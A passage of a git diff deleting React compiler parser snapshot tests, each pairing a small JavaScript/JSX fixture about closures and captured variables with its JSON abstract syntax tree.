-            },
-            "loc": null,
-            "range": [
-              85,
-              94
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          96
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        96
-      ],
-      "loc": null,
-      "range": [
-        0,
-        96
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    96
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-member-expr-arguments.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-member-expr-arguments.js.snap
deleted file mode 100644
index 255e8b320610..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-member-expr-arguments.js.snap
+++ /dev/null
@@ -1,318 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-arguments.js
----
-Input:
-function Foo(props) {
-  const onFoo = useCallback(
-    (reason) => {
-      log(props.router.location);
-    },
-    [props.router.location]
-  );
-
-  return onFoo;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onFoo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useCallback",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      49
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [
-                        {
-                          "type": "Identifier",
-                          "name": "reason",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            56,
-                            62
-                          ]
-                        }
-                      ],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "log",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  75,
-                                  78
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "props",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        79,
-                                        84
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "router",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        85,
-                                        91
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      79,
-                                      91
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "location",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      92,
-                                      100
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    79,
-                                    100
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                75,
-                                101
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              75,
-                              102
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          67,
-                          108
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        55,
-                        108
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        55,
-                        108
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                115,
-                                120
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "router",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                121,
-                                127
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              115,
-                              127
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "location",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              128,
-                              136
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            115,
-                            136
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        114,
-                        137
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    38,
-                    141
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  141
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              142
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "onFoo",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                153,
-                158
-              ]
-            },
-            "loc": null,
-            "range": [
-              146,
-              159
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          161
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        161
-      ],
-      "loc": null,
-      "range": [
-        0,
-        161
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    161
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-member-expr-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-member-expr-call.js.snap
deleted file mode 100644
index f02ddbc26b9d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-member-expr-call.js.snap
+++ /dev/null
@@ -1,461 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-call.js
----
-Input:
-function component({ mutator }) {
-  const poke = () => {
-    mutator.poke();
-  };
-
-  const hide = () => {
-    mutator.user.hide();
-  };
-
-  return <Foo poke={poke} hide={hide}></Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "mutator",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  28
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "mutator",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  28
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                21,
-                28
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            19,
-            30
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "poke",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    46
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "mutator",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                61,
-                                68
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "poke",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                69,
-                                73
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              61,
-                              73
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            61,
-                            75
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          61,
-                          76
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      55,
-                      80
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    49,
-                    80
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    49,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  42,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              36,
-              81
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "hide",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    91,
-                    95
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "mutator",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  110,
-                                  117
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "user",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  118,
-                                  122
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                110,
-                                122
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "hide",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                123,
-                                127
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              110,
-                              127
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            110,
-                            129
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          110,
-                          130
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      104,
-                      134
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    98,
-                    134
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    98,
-                    134
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  91,
-                  134
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              85,
-              135
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    147,
-                    150
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "poke",
-                      "loc": null,
-                      "range": [
-                        151,
-                        155
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "poke",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          157,
-                          161
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        156,
-                        162
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      151,
-                      162
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "hide",
-                      "loc": null,
-                      "range": [
-                        163,
-                        167
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "hide",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          169,
-                          173
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        168,
-                        174
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      163,
-                      174
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  146,
-                  175
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    177,
-                    180
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  175,
-                  181
-                ]
-              },
-              "loc": null,
-              "range": [
-                146,
-                181
-              ]
-            },
-            "loc": null,
-            "range": [
-              139,
-              182
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          32,
-          184
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        184
-      ],
-      "loc": null,
-      "range": [
-        0,
-        184
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    184
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-renamed-ref.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-renamed-ref.js.snap
deleted file mode 100644
index 18da2607d7aa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-renamed-ref.js.snap
+++ /dev/null
@@ -1,341 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-renamed-ref.js
----
-Input:
-function component(a, b) {
-  let z = { a };
-  {
-    let z = { b };
-    (function () {
-      mutate(z);
-    })();
-  }
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "BlockStatement",
-            "body": [
-              {
-                "type": "VariableDeclaration",
-                "kind": "let",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "id": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    },
-                    "init": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              62,
-                              63
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              62,
-                              63
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": true,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            62,
-                            63
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      56,
-                      65
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  52,
-                  66
-                ]
-              },
-              {
-                "type": "ExpressionStatement",
-                "expression": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "FunctionExpression",
-                    "id": null,
-                    "params": [],
-                    "body": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "Identifier",
-                              "name": "mutate",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                92,
-                                98
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "Identifier",
-                                "name": "z",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  99,
-                                  100
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              92,
-                              101
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            92,
-                            102
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        84,
-                        108
-                      ]
-                    },
-                    "generator": false,
-                    "async": false,
-                    "loc": null,
-                    "range": [
-                      72,
-                      108
-                    ],
-                    "loc": null,
-                    "range": [
-                      72,
-                      108
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    71,
-                    111
-                  ]
-                },
-                "directive": null,
-                "loc": null,
-                "range": [
-                  71,
-                  112
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              116
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                126,
-                127
-              ]
-            },
-            "loc": null,
-            "range": [
-              119,
-              128
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          130
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        130
-      ],
-      "loc": null,
-      "range": [
-        0,
-        130
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    130
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-runs-inference.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-runs-inference.js.snap
deleted file mode 100644
index c3ace6d136fd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-runs-inference.js.snap
+++ /dev/null
@@ -1,291 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-runs-inference.js
----
-Input:
-function component(a, b) {
-  let z = { a };
-  let p = () => <Foo>{z}</Foo>;
-  return p();
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "Foo",
-                        "loc": null,
-                        "range": [
-                          61,
-                          64
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "children": [
-                      {
-                        "type": "JSXExpressionContainer",
-                        "expression": {
-                          "type": "Identifier",
-                          "name": "z",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            66,
-                            67
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          65,
-                          68
-                        ]
-                      }
-                    ],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "Foo",
-                        "loc": null,
-                        "range": [
-                          70,
-                          73
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        68,
-                        74
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      60,
-                      74
-                    ]
-                  },
-                  "generator": true,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    54,
-                    74
-                  ],
-                  "expression": true,
-                  "loc": null,
-                  "range": [
-                    54,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  74
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              75
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "p",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  85,
-                  86
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                85,
-                88
-              ]
-            },
-            "loc": null,
-            "range": [
-              78,
-              89
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          91
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        91
-      ],
-      "loc": null,
-      "range": [
-        0,
-        91
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    91
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-shadow-captured.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-shadow-captured.js.snap
deleted file mode 100644
index e15e795d0589..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-shadow-captured.js.snap
+++ /dev/null
@@ -1,289 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-shadow-captured.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x = function () {
-    let z;
-    mutate(z);
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "let",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                73,
-                                74
-                              ]
-                            },
-                            "init": null,
-                            "loc": null,
-                            "range": [
-                              73,
-                              74
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          69,
-                          75
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "mutate",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              80,
-                              86
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                87,
-                                88
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            80,
-                            89
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          80,
-                          90
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      63,
-                      94
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    94
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  94
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              95
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                105,
-                106
-              ]
-            },
-            "loc": null,
-            "range": [
-              98,
-              107
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          109
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        109
-      ],
-      "loc": null,
-      "range": [
-        0,
-        109
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    109
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-skip-computed-path.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-skip-computed-path.js.snap
deleted file mode 100644
index d47f07408a39..000000000000
